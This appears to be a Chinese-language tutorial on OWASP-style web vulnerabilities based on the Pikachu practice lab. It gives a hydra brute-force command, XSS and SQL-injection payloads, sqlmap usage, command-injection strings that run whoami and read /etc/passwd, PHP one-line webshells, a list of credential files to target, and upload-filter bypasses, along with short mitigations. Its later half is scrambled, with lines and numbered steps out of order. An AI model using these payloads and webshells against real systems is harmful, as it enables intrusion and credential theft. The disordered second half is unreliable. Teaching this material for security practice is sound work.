介绍常见web漏洞,参考OWASP top10漏洞,pikachu靶场
只要口令能被猜测到或者出现在弱口令字典中,都算做弱口令。
如果是web登陆,可以查看登陆处有无验证码,传输密码或用户名有无加密,密码输入错误多次后有无进行账号锁定。
一般使用弱口令字典进行爆破,web下使用burpsuite中intruder模块,其他组件如mysql可使用hydra,如 hydra -l admin -P pswtop100.txt mysql://xx.x.x.x -s 3306 -o xx.txt
如果对特定ID进行爆破,可以依据社会工程学基于已知信息生成特定的弱口令字典。如已知信息为某人叫刘能,出生于1997年11月12日,则可以生成如‘liuneng1997’、‘ln971112’、‘liuneng1112’等弱口令。github中有基于python2的社工弱口令字典生成工具,详见https://github.com/WangYihang/ccupp;
如果前端对密码进行了加密,可使用burp插件jsEncrypter将弱口令字典同步加密,详见实践篇|使用jsEncrypter进行前端加密弱口令爆破 - 知乎;
如果设置了验证码,可检查后端是否真正验证,验证码是否变化,如果是动态变化的图形验证码,可使用burp插件captcha-killer尝试识别。
1、设置验证码。 2、密码错误进行分阶段账号锁定。 3、设置密码时进行复杂度检查 4、对用户名密码进行加密
XSS跨站脚本攻击漏洞是指攻击者向web中注入恶意script代码,当用户浏览时恶意代码被执行。
按照是否经过后端处理,是否存储可以分为反射型XSS、存储型XSS、DOM型XSS。反射型XSS是临时性的,指注入的代码不在后端存储,但会在服务器端进行处理然后进行回显;存储型XSS会将恶意代码存储在数据库中;DOM型X SS利用的是html dom,不经过后端,只在浏览器处理,也是临时性的。
存在输入框,且输入框未进行特殊字符过滤
在系统中寻找存在输入框的地方,如新建信息,留言框等,查看对输入内容的回显,输入payload测试,如<script>alert(document.cookie)</script>、'><img src="#" on error="alert('xss')"
如果有过滤,可通过<a herf="#" οnclick="alert(document.cookie)">等绕过script过滤,可通过javascript:alert(document.cookie)等绕过但双引号过滤。
附XSS payload大全:https://github.com/payloadbox/xss-payload-list
1、对输入内容进行转义or过滤。 2、对输出内容进行转义or编码 3、设置cookie为httponly,使客户端无法通过脚本获得cookie
CSRF是指跨站请求伪造。CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
一般通过CSRF钓鱼,攻击流程为
1)受害者登陆某系统A获取cookie
2)攻击者引诱受害者访问B
3)B向A发出请求
4)A系统认为请求来自受害者,执行请求
攻击完成
1、业务更新接口使用POST 2、增加token,避免使用单一cookie验证身份。3、设置cookie为httponly
前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
寻找搜索输入框,在输入参数后加‘查看是否报错;尝试简单payload 1 or1=1#
使用sqlmap扫描,sqlmap -u url --dbs 列出数据库名,sqlmap -u url -D 库名 --tables 列出表名,sqlmap -u url -D table_name -T 表名 -- columns 列出列名
1、sql语句预编译,不同语言or框架对应有不同的预编译方法。2、使用安全函数,如ESAPI.encoder().encodeForSQL(codec, name)
web端进行了需要调用系统命令执行的操作,攻击者通过输入Payload使得被攻击系统将恶意代码/命令拼接至已有的命令/代码中进行执行
1、利用管道符进行拼接
Windows系统支持的管道符
“|”:直接执行后面的语句,如 ping 127.0.0.1|whoami ,只执行whoami程序。
“||”:如果前面语句执行错误,则执行后面的语句,前面的语句只能为假。如 ping 2 || whoami 。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如 ping 127.0.0.1&whoami 。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。如 ping 127.0.0.1&&whoami 。
Linux系统支持的管道符
“;”:执行完前面的语句再执行后面的。如 ping 127.0.0.1;whoami 。
“|”:显示后面语句的执行结果。如 ping 127.0.0.1|whoami 。
“||”:当前面的语句执行错误时,执行后面的语句,如 ping 127.0.0.1||whoami 。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如ping 127.0.0.1&whoami 。
“&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。如ping 127.0.0.1&&whoami 。
“;” 依次执行命令
2、一些bypass技巧
1)关键字拼接
a=ca;b=t;$a$b /etc/passwd
2)寻找替代命令 如tac
3)编解码
HEX编码解码base64编解码
4)空格绕过 5)通配符 6)DNS外带 7)利用已有环境变量
1、避免使用危险函数。如php中的system、exec等,python中的system、popen等,java中的java.lang.Runtime.getRuntime().exec等
2、裁剪系统的busybox组件,使得可以执行的系统命令做到最少
3、避免使用root权限启动系统
4、对前端输入进行过滤
在上传头像、附件时,如果对上传的内容没有进行校验,如果服务器的web容器执行了上传内容,或上传的钓鱼内容能被访问,则属于中高危漏洞。
1、上传木马文件
木马生成工具https://github.com/NyDubh3/CuiRi
一些一句话木马:
<?php @eval($_POST['shell']);?> <?php $a = "assert"; $a(@$_POST['shell']); ?> <?php assert(@$_POST['a']); ?>
/root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts //记录每个访问计算机用户的公钥 /etc/passwd /etc/shadow /etc/my.cnf //mysql配置文件 /etc/httpd/conf/httpd.conf //apache配置文件 /root/.bash_history //用户历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 /porc/self/cmdline //当前进程的cmdline参数
1、过滤../,%2e%2e%2f(编码后) 2、对用户的请求资源设置白名单
如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。如http://www.xxxx.com/xxx.php?page=../../../../../../../../../../../../../etc/passwd
1、关键操作前验证用户身份,通过token或cookie。2、在cookie中加入不可猜解的信息
3、寻找隐藏的文件路径或特殊接口
2、寻找未进行身份验证的结构
1、更改抓包信息,将id改为他人id
由于后台使用了不合适的权限校验规则,使得用户得到了平级用户或者更高权限用户的权限。
2、如果不得不传入,采取白名单策略
1、在设计上不要让前端用户直接传变量给包含函数
语言中一般存在内置的文件包含函数,比如C语言的#include,php的include。如果被包含的东西可以由前端传过去,就可以构造恶意文件造成破坏。
1、对输入参数进行过滤。2、限制可以访问的文件范围
3、尝试下载敏感文件
2、测试../../../../../../etc/passwd、../index.php等
1、可以在Google搜索inurl:"readfile.php?file="查看有漏洞的网站,或者寻找目标系统的保存、下载功能
如果下载的文件在检查元素or抓包orurl中可以看到,并且系统没有对用户下载文件做限制,则可以修改下载文件的路径和名称造成任意文件下载漏洞
4)更改头部的contentType
3)将php语句写入jpg echo '<?php phpinfo(); ?>' >> pic.jpg
2)将php语句前面加上gif标识头 GIF89<?php phpinfo();?>
1)前端的文件过滤可以通过禁用防御函数来绕过
2、一些绕过技巧